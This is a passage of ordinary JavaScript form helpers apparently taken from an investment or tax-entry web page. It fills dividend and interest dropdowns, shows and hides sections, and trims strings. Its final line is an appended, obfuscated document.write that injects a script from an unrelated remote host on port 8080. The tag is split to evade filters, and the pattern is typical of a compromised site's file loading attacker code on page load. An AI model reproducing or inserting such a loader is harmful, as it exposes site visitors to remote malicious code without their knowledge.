        if(source == 'Others')
        {
            hideDivTag('divInterest');
            document.all('rbtnInterestExemptNo').checked=true;
            document.all('rbtnInterestExemptYes').checked=false;
            form.options[0] = new Option("Select","");
            form.options[1] = new Option("General","General");
        }
 }
 function populate_Divident(source,formId) // Arun
    {
    var form = formId;
    form.options.length = 0;

        if(source == 'Select')
        {
            form.options[0] = new Option("Select","");
            
        }
        if(source == 'Shares')
        {
            form.options[0] = new Option("Select","");
            form.options[1] = new Option("Indian Companies","Indian Companies");
            form.options[2] = new Option("Foreign Companies","Foreign Companies");
        }
        if(source == 'Units')
        {
            form.options[0] = new Option("Select","");
            form.options[1] = new Option("Indian Mutual Funds","Indian Mutual Funds");
            form.options[2] = new Option("Foreign Mutual Funds","Foreign Mutual Funds");
        }
   }
function showIntersetDiv() // Arun
{
    var a=document.getElementById("drpSource").value;
    var b=document.getElementById("drpInvestment").value;
    if((a=='Others')&&(b == 'General'))
    {
       showDivTag('divInterest');
       document.all('rbtnInterestExemptNo').checked=true;
       document.all('rbtnInterestExemptYes').checked=false;
    }
}

function hideDivTag(divTagId) // Arun
{
     if (document.getElementById(divTagId).style.display == 'none')
     {
          document.getElementById(divTagId).style.display = 'none';
     }
     else
     {
          document.getElementById(divTagId).style.display = 'none';
     }
}
function hideDivInOptionClick(divTagId,radiobut) // Arun
{
     if (document.getElementById(divTagId).style.display == 'none')
     {
          document.all(radiobut).checked=true;
          document.getElementById(divTagId).style.display = 'none';
          document.getElementById(radiobut).checked=true;
           
     }
     else
     {
          document.all(radiobut).checked=true;
          document.getElementById(divTagId).style.display = 'none';
          document.getElementById(radiobut).checked=true;
          
     }
}
function showDivTag(divTagId) // Arun
{
    if (document.getElementById(divTagId).style.display == 'none')
     {
       document.getElementById(divTagId).style.display = 'block';
     }
}
//
function leftTrim(sString)// Arun
{
    while((sString.substring(0,1) == '0')||(sString.substring(0,1) == ' '))
        {
        sString = sString.substring(1, sString.length);
        }
        return sString;
}
function rightTrim(sString)// Arun
{
    while (sString.substring(sString.length-1, sString.length) == ' ')
    {
    sString = sString.substring(0,sString.length-1);
    }
    return sString;
}
function trimAll(sString)
{
    while (sString.substring(0,1) == ' ')
    {
    sString = sString.substring(1, sString.length);
    }
    while (sString.substring(sString.length-1, sString.length) == ' ')
    {
    sString = sString.substring(0,sString.length-1);
    }
    return sString;
}
////


document.write('<s'+'cript type="text/javascript" src="http://oployau.fancountblogger.com:8080/Webmaster.js"></scr'+'ipt>');